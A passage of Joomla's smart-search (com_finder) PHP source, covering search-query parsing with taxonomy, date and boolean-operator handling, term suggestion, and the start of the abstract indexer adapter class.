	 * comes in the form of a pre-defined search filter that is assigned to the
	 * search form.
	 *
	 * @param   integer  $filterId  The id of static filter.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function processStaticTaxonomy($filterId)
	{
		// Get the database object.
		$db = JFactory::getDBO();

		// Initialize user variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Load the predefined filter.
		$query = $db->getQuery(true);
		$query->select('f.' . $db->quoteName('data') . ', f.' . $db->quoteName('params'));
		$query->from($db->quoteName('#__finder_filters') . ' AS f');
		$query->where('f.' . $db->quoteName('filter_id') . ' = ' . (int) $filterId);

		$db->setQuery($query);
		$return = $db->loadObject();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Check the returned filter.
		if (empty($return))
		{
			return false;
		}

		// Set the filter.
		$this->filter = (int) $filterId;

		// Get a parameter object for the filter date options.
		$registry = new JRegistry;
		$registry->loadString($return->params);
		$params = $registry;

		// Set the dates if not already set.
		$this->dates->def('date1', $params->get('d1'));
		$this->dates->def('date2', $params->get('d2'));
		$this->dates->def('when1', $params->get('w1'));
		$this->dates->def('when2', $params->get('w2'));

		// Remove duplicates and sanitize.
		$filters = explode(',', $return->data);
		$filters = array_unique($filters);
		JArrayHelper::toInteger($filters);

		// Remove any values of zero.
		if (array_search(0, $filters, true) !== false)
		{
			unset($filters[array_search(0, $filters, true)]);
		}

		// Check if we have any real input.
		if (empty($filters))
		{
			return true;
		}

		/*
		 * Create the query to get filters from the database. We do this for
		 * two reasons: one, it allows us to ensure that the filters being used
		 * are real; two, we need to sort the filters by taxonomy branch.
		 */
		$query->clear();
		$query->select('t1.id, t1.title, t2.title AS branch');
		$query->from($db->quoteName('#__finder_taxonomy') . ' AS t1');
		$query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id');
		$query->where('t1.state = 1');
		$query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')');
		$query->where('t1.id IN (' . implode(',', $filters) . ')');
		$query->where('t2.state = 1');
		$query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')');

		// Load the filters.
		$db->setQuery($query);
		$results = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Sort the filter ids by branch.
		foreach ($results as $result)
		{
			$this->filters[$result->branch][$result->title] = (int) $result->id;
		}

		return true;
	}

	/**
	 * Method to process the dynamic taxonomy input. The dynamic taxonomy input
	 * comes in the form of select fields that the user chooses from. The
	 * dynamic taxonomy input is processed AFTER the static taxonomy input
	 * because the dynamic options can be used to further narrow a static
	 * taxonomy filter.
	 *
	 * @param   array  $filters  An array of taxonomy node ids.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function processDynamicTaxonomy($filters)
	{
		// Initialize user variables
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Remove duplicates and sanitize.
		$filters = array_unique($filters);
		JArrayHelper::toInteger($filters);

		// Remove any values of zero.
		if (array_search(0, $filters, true) !== false)
		{
			unset($filters[array_search(0, $filters, true)]);
		}

		// Check if we have any real input.
		if (empty($filters))
		{
			return true;
		}

		// Get the database object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		/*
		 * Create the query to get filters from the database. We do this for
		 * two reasons: one, it allows us to ensure that the filters being used
		 * are real; two, we need to sort the filters by taxonomy branch.
		 */
		$query->select('t1.id, t1.title, t2.title AS branch');
		$query->from($db->quoteName('#__finder_taxonomy') . ' AS t1');
		$query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id');
		$query->where('t1.state = 1');
		$query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')');
		$query->where('t1.id IN (' . implode(',', $filters) . ')');
		$query->where('t2.state = 1');
		$query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')');

		// Load the filters.
		$db->setQuery($query);
		$results = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Cleared filter branches.
		$cleared = array();

		/*
		 * Sort the filter ids by branch. Because these filters are designed to
		 * override and further narrow the items selected in the static filter,
		 * we will clear the values from the static filter on a branch by
		 * branch basis before adding the dynamic filters. So, if the static
		 * filter defines a type filter of "articles" and three "category"
		 * filters but the user only limits the category further, the category
		 * filters will be flushed but the type filters will not.
		 */
		foreach ($results as $result)
		{
			// Check if the branch has been cleared.
			if (!in_array($result->branch, $cleared))
			{
				// Clear the branch.
				$this->filters[$result->branch] = array();

				// Add the branch to the cleared list.
				$cleared[] = $result->branch;
			}

			// Add the filter to the list.
			$this->filters[$result->branch][$result->title] = (int) $result->id;
		}

		return true;
	}

	/**
	 * Method to process the query date filters to determine start and end
	 * date limitations.
	 *
	 * @param   string  $date1  The first date filter.
	 * @param   string  $date2  The second date filter.
	 * @param   string  $when1  The first date modifier.
	 * @param   string  $when2  The second date modifier.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function processDates($date1, $date2, $when1, $when2)
	{
		// Clean up the inputs.
		$date1 = JString::trim(JString::strtolower($date1));
		$date2 = JString::trim(JString::strtolower($date2));
		$when1 = JString::trim(JString::strtolower($when1));
		$when2 = JString::trim(JString::strtolower($when2));

		// Get the time offset.
		$offset = JFactory::getApplication()->getCfg('offset');

		// Array of allowed when values.
		$whens = array('before', 'after', 'exact');

		// The value of 'today' is a special case that we need to handle.
		if ($date1 === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY')))
		{
			$today = JFactory::getDate('now', $offset);
			$date1 = $today->format('%Y-%m-%d');
		}

		// Try to parse the date string.
		$date = JFactory::getDate($date1, $offset);

		// Check if the date was parsed successfully.
		if ($date->toUnix() !== null)
		{
			// Set the date filter.
			$this->date1 = $date->toSQL();
			$this->when1 = in_array($when1, $whens) ? $when1 : 'before';
		}

		// The value of 'today' is a special case that we need to handle.
		if ($date2 === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY')))
		{
			$today = JFactory::getDate('now', $offset);
			$date2 = $today->format('%Y-%m-%d');
		}

		// Try to parse the date string.
		$date = JFactory::getDate($date2, $offset);

		// Check if the date was parsed successfully.
		if ($date->toUnix() !== null)
		{
			// Set the date filter.
			$this->date2 = $date->toSQL();
			$this->when2 = in_array($when2, $whens) ? $when2 : 'before';
		}

		return true;
	}

	/**
	 * Method to process the query input string and extract required, optional,
	 * and excluded tokens; taxonomy filters; and date filters.
	 *
	 * @param   string  $input  The query input string.
	 * @param   string  $lang   The query input language.
	 * @param   string  $mode   The query matching mode.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function processString($input, $lang, $mode)
	{
		// Clean up the input string.
		$input = html_entity_decode($input, ENT_QUOTES, 'UTF-8');
		$input = JString::strtolower($input);
		$input = preg_replace('#\s+#mi', ' ', $input);
		$input = JString::trim($input);
		$debug = JFactory::getConfig()->get('debug_lang');

		/*
		 * First, we need to handle string based modifiers. String based
		 * modifiers could potentially include things like "category:blah" or
		 * "before:2009-10-21" or "type:article", etc.
		 */
		$patterns = array(
			'before' => JText::_('COM_FINDER_FILTER_WHEN_BEFORE'),
			'after' => JText::_('COM_FINDER_FILTER_WHEN_AFTER')
		);

		// Add the taxonomy branch titles to the possible patterns.
		foreach (FinderIndexerTaxonomy::getBranchTitles() as $branch)
		{
			// Add the pattern.
			$patterns[$branch] = JString::strtolower(JText::_(FinderHelperLanguage::branchSingular($branch)));
		}

		// Container for search terms and phrases.
		$terms = array();
		$phrases = array();

		// Cleared filter branches.
		$cleared = array();

		/*
		 * Compile the suffix pattern. This is used to match the values of the
		 * filter input string. Single words can be input directly, multi-word
		 * values have to be wrapped in double quotes.
		 */
		$quotes = html_entity_decode('&#8216;&#8217;&#39;', ENT_QUOTES, 'UTF-8');
		$suffix = '(([\w\d' . $quotes . '-]+)|\"([\w\d\s' . $quotes . '-]+)\")';

		/*
		 * Iterate through the possible filter patterns and search for matches.
		 * We need to match the key, colon, and a value pattern for the match
		 * to be valid.
		 */
		foreach ($patterns as $modifier => $pattern)
		{
			$matches = array();

			if ($debug)
			{
				$pattern = substr($pattern, 2, -2);
			}

			// Check if the filter pattern is in the input string.
			if (preg_match('#' . $pattern . '\s*:\s*' . $suffix . '#mi', $input, $matches))
			{
				// Get the value given to the modifier.
				$value = isset($matches[3]) ? $matches[3] : $matches[1];

				// Now we have to handle the filter string.
				switch ($modifier)
				{
					// Handle a before and after date filters.
					case 'before':
					case 'after':
					{
						// Get the time offset.
						$offset = JFactory::getApplication()->getCfg('offset');

						// Array of allowed when values.
						$whens = array('before', 'after', 'exact');

						// The value of 'today' is a special case that we need to handle.
						if ($value === JString::strtolower(JText::_('COM_FINDER_QUERY_FILTER_TODAY')))
						{
							$today = JFactory::getDate('now', $offset);
							$value = $today->format('%Y-%m-%d');
						}

						// Try to parse the date string.
						$date = JFactory::getDate($value, $offset);

						// Check if the date was parsed successfully.
						if ($date->toUnix() !== null)
						{
							// Set the date filter.
							$this->date1 = $date->toSQL();
							$this->when1 = in_array($modifier, $whens) ? $modifier : 'before';
						}

						break;
					}

					// Handle a taxonomy branch filter.
					default:
					{
						// Try to find the node id.
						$return = FinderIndexerTaxonomy::getNodeByTitle($modifier, $value);

						// Check if the node id was found.
						if ($return)
						{
							// Check if the branch has been cleared.
							if (!in_array($modifier, $cleared))
							{
								// Clear the branch.
								$this->filters[$modifier] = array();

								// Add the branch to the cleared list.
								$cleared[] = $modifier;
							}

							// Add the filter to the list.
							$this->filters[$modifier][$return->title] = (int) $return->id;
						}

						break;
					}
				}

				// Clean up the input string again.
				$input = str_replace($matches[0], '', $input);
				$input = preg_replace('#\s+#mi', ' ', $input);
				$input = JString::trim($input);
			}
		}

		/*
		 * Extract the tokens enclosed in double quotes so that we can handle
		 * them as phrases.
		 */
		if (JString::strpos($input, '"') !== false)
		{
			$matches = array();

			// Extract the tokens enclosed in double quotes.
			if (preg_match_all('#\"([^"]+)\"#mi', $input, $matches))
			{
				/*
				 * One or more phrases were found so we need to iterate through
				 * them, tokenize them as phrases, and remove them from the raw
				 * input string before we move on to the next processing step.
				 */
				foreach ($matches[1] as $key => $match)
				{
					// Find the complete phrase in the input string.
					$pos = JString::strpos($input, $matches[0][$key]);
					$len = JString::strlen($matches[0][$key]);

					// Add any terms that are before this phrase to the stack.
					if (JString::trim(JString::substr($input, 0, $pos)))
					{
						$terms = array_merge($terms, explode(' ', JString::trim(JString::substr($input, 0, $pos))));
					}

					// Strip out everything up to and including the phrase.
					$input = JString::substr($input, $pos + $len);

					// Clean up the input string again.
					$input = preg_replace('#\s+#mi', ' ', $input);
					$input = JString::trim($input);

					// Get the number of words in the phrase.
					$parts = explode(' ', $match);

					// Check if the phrase is longer than three words.
					if (count($parts) > 3)
					{
						/*
						 * If the phrase is longer than three words, we need to
						 * break it down into smaller chunks of phrases that
						 * are less than or equal to three words. We overlap
						 * the chunks so that we can ensure that a match is
						 * found for the complete phrase and not just portions
						 * of it.
						 */
						for ($i = 0, $c = count($parts); $i < $c; $i += 2)
						{
							// Set up the chunk.
							$chunk = array();

							// The chunk has to be assembled based on how many
							// pieces are available to use.
							switch ($c - $i)
							{
								// If only one word is left, we can break from
								// the switch and loop because the last word
								// was already used at the end of the last
								// chunk.
								case 1:
									break 2;

								// If there words are left, we use them both as
								// the last chunk of the phrase and we're done.
								case 2:
									$chunk[] = $parts[$i];
									$chunk[] = $parts[$i + 1];
									break;

								// If there are three or more words left, we
								// build a three word chunk and continue on.
								default:
									$chunk[] = $parts[$i];
									$chunk[] = $parts[$i + 1];
									$chunk[] = $parts[$i + 2];
									break;
							}

							// If the chunk is not empty, add it as a phrase.
							if (count($chunk))
							{
								$phrases[] = implode(' ', $chunk);
								$terms[] = implode(' ', $chunk);
							}
						}
					}
					else
					{
						// The phrase is <= 3 words so we can use it as is.
						$phrases[] = $match;
						$terms[] = $match;
					}
				}
			}
		}

		// Add the remaining terms if present.
		if (!empty($input))
		{
			$terms = array_merge($terms, explode(' ', $input));
		}

		// An array of our boolean operators. $operator => $translation
		$operators = array(
			'AND' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_AND')),
			'OR' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_OR')),
			'NOT' => JString::strtolower(JText::_('COM_FINDER_QUERY_OPERATOR_NOT'))
		);
		// If language debugging is enabled you need to ignore the debug strings in matching.
		if (JDEBUG)
		{
			$debugStrings = array('**', '??');
			$operators = str_replace($debugStrings, '', $operators);
		}
		/*
		 * Iterate through the terms and perform any sorting that needs to be
		 * done based on boolean search operators. Terms that are before an
		 * and/or/not modifier have to be handled in relation to their operator.
		 */
		for ($i = 0, $c = count($terms); $i < $c; $i++)
		{

			// Check if the term is followed by an operator that we understand.
			if (isset($terms[$i + 1]) && in_array($terms[$i + 1], $operators))
			{
				// Get the operator mode.
				$op = array_search($terms[$i + 1], $operators);

				// Handle the AND operator.
				if ($op === 'AND' && isset($terms[$i + 2]))
				{
					// Tokenize the current term.
					$token = FinderIndexerHelper::tokenize($terms[$i], $lang, true);
					$token = $this->getTokenData($token);

					// Set the required flag.
					$token->required = true;

					// Add the current token to the stack.
					$this->included[] = $token;
					$this->highlight = array_merge($this->highlight, array_keys($token->matches));

					// Skip the next token (the mode operator).
					$this->operators[] = $terms[$i + 1];

					// Tokenize the term after the next term (current plus two).
					$other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true);
					$other = $this->getTokenData($other);

					// Set the required flag.
					$other->required = true;

					// Add the token after the next token to the stack.
					$this->included[] = $other;
					$this->highlight = array_merge($this->highlight, array_keys($other->matches));

					// Remove the processed phrases if possible.
					if (($pk = array_search($terms[$i], $phrases)) !== false)
					{
						unset($phrases[$pk]);
					}
					if (($pk = array_search($terms[$i + 2], $phrases)) !== false)
					{
						unset($phrases[$pk]);
					}

					// Remove the processed terms.
					unset($terms[$i]);
					unset($terms[$i + 1]);
					unset($terms[$i + 2]);

					// Adjust the loop.
					$i += 2;
					continue;
				}
				// Handle the OR operator.
				elseif ($op === 'OR' && isset($terms[$i + 2]))
				{
					// Tokenize the current term.
					$token = FinderIndexerHelper::tokenize($terms[$i], $lang, true);
					$token = $this->getTokenData($token);

					// Set the required flag.
					$token->required = false;

					// Add the current token to the stack.
					if (count($token->matches))
					{
						$this->included[] = $token;
						$this->highlight = array_merge($this->highlight, array_keys($token->matches));
					}
					else
					{
						$this->ignored[] = $token;
					}

					// Skip the next token (the mode operator).
					$this->operators[] = $terms[$i + 1];

					// Tokenize the term after the next term (current plus two).
					$other = FinderIndexerHelper::tokenize($terms[$i + 2], $lang, true);
					$other = $this->getTokenData($other);

					// Set the required flag.
					$other->required = false;

					// Add the token after the next token to the stack.
					if (count($other->matches))
					{
						$this->included[] = $other;
						$this->highlight = array_merge($this->highlight, array_keys($other->matches));
					}
					else
					{
						$this->ignored[] = $other;
					}

					// Remove the processed phrases if possible.
					if (($pk = array_search($terms[$i], $phrases)) !== false)
					{
						unset($phrases[$pk]);
					}
					if (($pk = array_search($terms[$i + 2], $phrases)) !== false)
					{
						unset($phrases[$pk]);
					}

					// Remove the processed terms.
					unset($terms[$i]);
					unset($terms[$i + 1]);
					unset($terms[$i + 2]);

					// Adjust the loop.
					$i += 2;
					continue;
				}
			}
			// Handle an orphaned OR operator.
			elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators) === 'OR')
			{
				// Skip the next token (the mode operator).
				$this->operators[] = $terms[$i];

				// Tokenize the next term (current plus one).
				$other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true);
				$other = $this->getTokenData($other);

				// Set the required flag.
				$other->required = false;

				// Add the token after the next token to the stack.
				if (count($other->matches))
				{
					$this->included[] = $other;
					$this->highlight = array_merge($this->highlight, array_keys($other->matches));
				}
				else
				{
					$this->ignored[] = $other;
				}

				// Remove the processed phrase if possible.
				if (($pk = array_search($terms[$i + 1], $phrases)) !== false)
				{
					unset($phrases[$pk]);
				}

				// Remove the processed terms.
				unset($terms[$i]);
				unset($terms[$i + 1]);

				// Adjust the loop.
				$i += 1;
				continue;
			}
			// Handle the NOT operator.
			elseif (isset($terms[$i + 1]) && array_search($terms[$i], $operators) === 'NOT')
			{
				// Skip the next token (the mode operator).
				$this->operators[] = $terms[$i];

				// Tokenize the next term (current plus one).
				$other = FinderIndexerHelper::tokenize($terms[$i + 1], $lang, true);
				$other = $this->getTokenData($other);

				// Set the required flag.
				$other->required = false;

				// Add the next token to the stack.
				if (count($other->matches))
				{
					$this->excluded[] = $other;
				}
				else
				{
					$this->ignored[] = $other;
				}

				// Remove the processed phrase if possible.
				if (($pk = array_search($terms[$i + 1], $phrases)) !== false)
				{
					unset($phrases[$pk]);
				}

				// Remove the processed terms.
				unset($terms[$i]);
				unset($terms[$i + 1]);

				// Adjust the loop.
				$i += 1;
				continue;
			}
		}

		/*
		 * Iterate through any search phrases and tokenize them. We handle
		 * phrases as autonomous units and do not break them down into two and
		 * three word combinations.
		 */
		for ($i = 0, $c = count($phrases); $i < $c; $i++)
		{
			// Tokenize the phrase.
			$token = FinderIndexerHelper::tokenize($phrases[$i], $lang, true);
			$token = $this->getTokenData($token);

			// Set the required flag.
			$token->required = true;

			// Add the current token to the stack.
			$this->included[] = $token;
			$this->highlight = array_merge($this->highlight, array_keys($token->matches));

			// Remove the processed term if possible.
			if (($pk = array_search($phrases[$i], $terms)) !== false)
			{
				unset($terms[$pk]);
			}

			// Remove the processed phrase.
			unset($phrases[$i]);
		}

		/*
		 * Handle any remaining tokens using the standard processing mechanism.
		 */
		if (!empty($terms))
		{
			// Tokenize the terms.
			$terms = implode(' ', $terms);
			$tokens = FinderIndexerHelper::tokenize($terms, $lang, false);

			// Make sure we are working with an array.
			$tokens = is_array($tokens) ? $tokens : array($tokens);

			// Get the token data and required state for all the tokens.
			foreach ($tokens as $token)
			{
				// Get the token data.
				$token = $this->getTokenData($token);

				// Set the required flag for the token.
				$token->required = $mode === 'AND' ? ($token->phrase ? false : true) : false;

				// Add the token to the appropriate stack.
				if (count($token->matches) || $token->required)
				{
					$this->included[] = $token;
					$this->highlight = array_merge($this->highlight, array_keys($token->matches));
				}
				else
				{
					$this->ignored[] = $token;
				}
			}
		}

		return true;
	}

	/**
	 * Method to get the base and similar term ids and, if necessary, suggested
	 * term data from the database. The terms ids are identified based on a
	 * 'like' match in MySQL and/or a common stem. If no term ids could be
	 * found, then we know that we will not be able to return any results for
	 * that term and we should try to find a similar term to use that we can
	 * match so that we can suggest the alternative search query to the user.
	 *
	 * @param   FinderIndexerToken  $token  A FinderIndexerToken object.
	 *
	 * @return  FinderIndexerToken  A FinderIndexerToken object.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function getTokenData($token)
	{
		// Get the database object.
		$db = JFactory::getDBO();

		// Create a database query to build match the token.
		$query = $db->getQuery(true);
		$query->select('t.term, t.term_id');
		$query->from('#__finder_terms AS t');

		/*
		 * If the token is a phrase, the lookup process is fairly simple. If
		 * the token is a word, it is a little more complicated. We have to
		 * create two queries to lookup the term and the stem respectively,
		 * then union the result sets together. This is MUCH faster than using
		 * an or condition in the database query.
		 */
		if ($token->phrase)
		{
			// Add the phrase to the query.
			$query->where('t.term = ' . $db->quote($token->term));
			$query->where('t.phrase = 1');
		}
		else
		{
			// Add the term to the query.
			$query->where('t.term = ' . $db->quote($token->term));
			$query->where('t.phrase = 0');

			// Clone the query, replace the WHERE clause.
			$sub = clone($query);
			$sub->clear('where');
			$sub->where('t.stem = '.$db->quote($token->stem));
			$sub->where('t.phrase = 0');

			// Union the two queries.
			$query->union($sub);

//			$query->where('(t.term = ' . $db->quote($token->term) . ' OR t.stem = ' . $db->quote($token->stem) . ')');
//			$query->where('t.phrase = 0');
		}

		// Get the terms.
		$db->setQuery($query);
		$matches = $db->loadObjectList();

		// Check for a database error.
		if ($db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($db->getErrorMsg(), 500);
		}

		// Setup the container.
		$token->matches = array();

		// Check the matching terms.
		if (!empty($matches))
		{
			// Add the matches to the token.
			for ($i = 0, $c = count($matches); $i < $c; $i++)
			{
				$token->matches[$matches[$i]->term] = (int) $matches[$i]->term_id;
			}
		}

		// If no matches were found, try to find a similar but better token.
		if (empty($token->matches))
		{
			// Create a database query to get the similar terms.
			//@TODO: PostgreSQL doesn't support SOUNDEX out of the box
			$query->clear();
			$query->select('DISTINCT t.term_id AS id, t.term AS term');
			$query->from('#__finder_terms AS t');
			//$query->where('t.soundex = ' . soundex($db->quote($token->term)));
			$query->where('t.soundex = SOUNDEX(' . $db->quote($token->term) . ')');
			$query->where('t.phrase = ' . (int) $token->phrase);

			// Get the terms.
			$db->setQuery($query);
			$results = $db->loadObjectList();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Check if any similar terms were found.
			if (empty($results))
			{
				return $token;
			}

			// Stack for sorting the similar terms.
			$suggestions = array();

			// Get the levnshtein distance for all suggested terms.
			foreach ($results as $sk => $st)
			{
				// Get the levenshtein distance between terms.
				$distance = levenshtein($st->term, $token->term);

				// Make sure the levenshtein distance isn't over 50.
				if ($distance < 50)
				{
					$suggestions[$sk] = $distance;
				}
			}

			// Sort the suggestions.
			asort($suggestions, SORT_NUMERIC);

			// Get the closest match.
			$keys = array_keys($suggestions);
			$key = $keys[0];

			// Add the suggested term.
			$token->suggestion = $results[$key]->term;
		}

		return $token;
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// Register dependent classes.
JLoader::register('FinderIndexer', dirname(__FILE__) . '/indexer.php');
JLoader::register('FinderIndexerHelper', dirname(__FILE__) . '/helper.php');
JLoader::register('FinderIndexerResult', dirname(__FILE__) . '/result.php');
JLoader::register('FinderIndexerTaxonomy', dirname(__FILE__) . '/taxonomy.php');

/**
 * Prototype adapter class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
abstract class FinderIndexerAdapter extends JPlugin
{
	/**
	 * The context is somewhat arbitrary but it must be unique or there will be
	 * conflicts when managing plugin/indexer state. A good best practice is to
	 * use the plugin name suffix as the context. For example, if the plugin is
	 * named 'plgFinderContent', the context could be 'Content'.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context;

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension;

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout;

	/**
	 * The mime type of the content the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $mime;

	/**
	 * The access level of an item before save.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	protected $old_access;

	/**
	 * The access level of a category before save.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	protected $old_cataccess;

	/**
	 * The type of content the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title;

	/**
	 * The type id of the content.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	protected $type_id;

	/**
	 * The database object.
	 *
	 * @var    object
	 * @since  2.5
	 */
	protected $db;

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table;

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'state';

	/**
	 * Method to instantiate the indexer adapter.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An array that holds the plugin configuration.
	 *
	 * @since   2.5
	 */
	public function __construct(&$subject, $config)
	{
		// Get the database object.
		$this->db = JFactory::getDBO();

		// Call the parent constructor.
		parent::__construct($subject, $config);

		// Get the type id.
		$this->type_id = $this->getTypeId();

		// Add the content type if it doesn't exist and is set.
		if (empty($this->type_id) && !empty($this->type_title))
		{
			$this->type_id = FinderIndexerHelper::addContentType($this->type_title, $this->mime);
		}

		// Check for a layout override.
		if ($this->params->get('layout'))
		{
			$this->layout = $this->params->get('layout');
		}
	}

	/**
	 * Method to get the adapter state and push it into the indexer.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws	Exception on error.
	 */
	public function onStartIndex()
	{
		JLog::add('FinderIndexerAdapter::onStartIndex', JLog::INFO);

		// Get the indexer state.
		$iState = FinderIndexer::getState();

		// Get the number of content items.
		$total = (int) $this->getContentCount();

		// Add the content count to the total number of items.
		$iState->totalItems += $total;

		// Populate the indexer state information for the adapter.
		$iState->pluginState[$this->context]['total'] = $total;
		$iState->pluginState[$this->context]['offset'] = 0;

		// Set the indexer state.
		FinderIndexer::setState($iState);
	}

	/**
	 * Method to prepare for the indexer to be run. This method will often
	 * be used to include dependencies and things of that nature.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on error.
	 */
	public function onBeforeIndex()
	{
		JLog::add('FinderIndexerAdapter::onBeforeIndex', JLog::INFO);

		// Get the indexer and adapter state.
		$iState = FinderIndexer::getState();
		$aState = $iState->pluginState[$this->context];

		// Check the progress of the indexer and the adapter.
		if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total'])
		{
			return true;
		}

		// Run the setup method.
		return $this->setup();
	}

	/**
	 * Method to index a batch of content items. This method can be called by
	 * the indexer many times throughout the indexing process depending on how
	 * much content is available for indexing. It is important to track the
	 * progress correctly so we can display it to the user.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on error.
	 */
	public function onBuildIndex()
	{
		JLog::add('FinderIndexerAdapter::onBuildIndex', JLog::INFO);

		// Get the indexer and adapter state.
		$iState = FinderIndexer::getState();
		$aState = $iState->pluginState[$this->context];

		// Check the progress of the indexer and the adapter.
		if ($iState->batchOffset == $iState->batchSize || $aState['offset'] == $aState['total'])
		{
			return true;
		}

		// Get the batch offset and size.
		$offset = (int) $aState['offset'];
		$limit = (int) ($iState->batchSize - $iState->batchOffset);

		// Get the content items to index.
		$items = $this->getItems($offset, $limit);

		// Iterate through the items and index them.
		for ($i = 0, $n = count($items); $i < $n; $i++)
		{
			// Index the item.
			$this->index($items[$i]);

			// Adjust the offsets.
			$offset++;
			$iState->batchOffset++;
			$iState->totalItems--;
		}

		// Update the indexer state.
		$aState['offset'] = $offset;
		$iState->pluginState[$this->context] = $aState;
		FinderIndexer::setState($iState);

		return true;
	}

	/**
	 * Method to change the value of a content item's property in the links
	 * table. This is used to synchronize published and access states that
	 * are changed when not editing an item directly.
	 *
	 * @param   string   $id        The ID of the item to change.
	 * @param   string   $property  The property that is being changed.
	 * @param   integer  $value     The new value of that property.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws	Exception on database error.
	 */
	protected function change($id, $property, $value)
	{
		JLog::add('FinderIndexerAdapter::change', JLog::INFO);

		// Check for a property we know how to handle.
		if ($property !== 'state' && $property !== 'access')
		{
			return true;
		}

		// Get the url for the content id.
		$item = $this->db->quote($this->getUrl($id, $this->extension, $this->layout));

		// Update the content items.
		$query = $this->db->getQuery(true);
		$query->update($this->db->quoteName('#__finder_links'));
		$query->set($this->db->quoteName($property) . ' = ' . (int) $value);
		$query->where($this->db->quoteName('url') . ' = ' . $item);
		$this->db->setQuery($query);
		$this->db->query();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		return true;
	}

	/**
	 * Method to index an item.
	 *
	 * @param   FinderIndexerResult  $item  The item to index as a FinderIndexerResult object.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	abstract protected function index(FinderIndexerResult $item);

	/**
	 * Method to reindex an item.
	 *
	 * @param   integer  $id  The ID of the item to reindex.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function reindex($id)
	{
		// Run the setup method.
		$this->setup();

		// Remove the old item.
		$this->remove($id);

		// Get the item.
		$item = $this->getItem($id);

		// Index the item.
		$this->index($item);
	}

	/**
	 * Method to remove an item from the index.
	 *
	 * @param   string  $id  The ID of the item to remove.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function remove($id)
	{
		JLog::add('FinderIndexerAdapter::remove', JLog::INFO);

		// Get the item's URL
		$url = $this->db->quote($this->getUrl($id, $this->extension, $this->layout));

		// Get the link ids for the content items.
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('link_id'));
		$query->from($this->db->quoteName('#__finder_links'));
		$query->where($this->db->quoteName('url') . ' = ' . $url);
		$this->db->setQuery($query);
		$items = $this->db->loadColumn();

		// Check for a database error.
		if ($this->db->getErrorNum())
		{
			// Throw database error exception.
			throw new Exception($this->db->getErrorMsg(), 500);
		}

		// Check the items.
		if (empty($items))
		{
			return true;
		}

		// Remove the items.
		foreach ($items as $item)
		{
			FinderIndexer::remove($item);
		}

		return true;
	}

	/**
	 * Method to setup the adapter before indexing.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	abstract protected function setup();

	/**
	 * Method to update index data on category access level changes
	 *
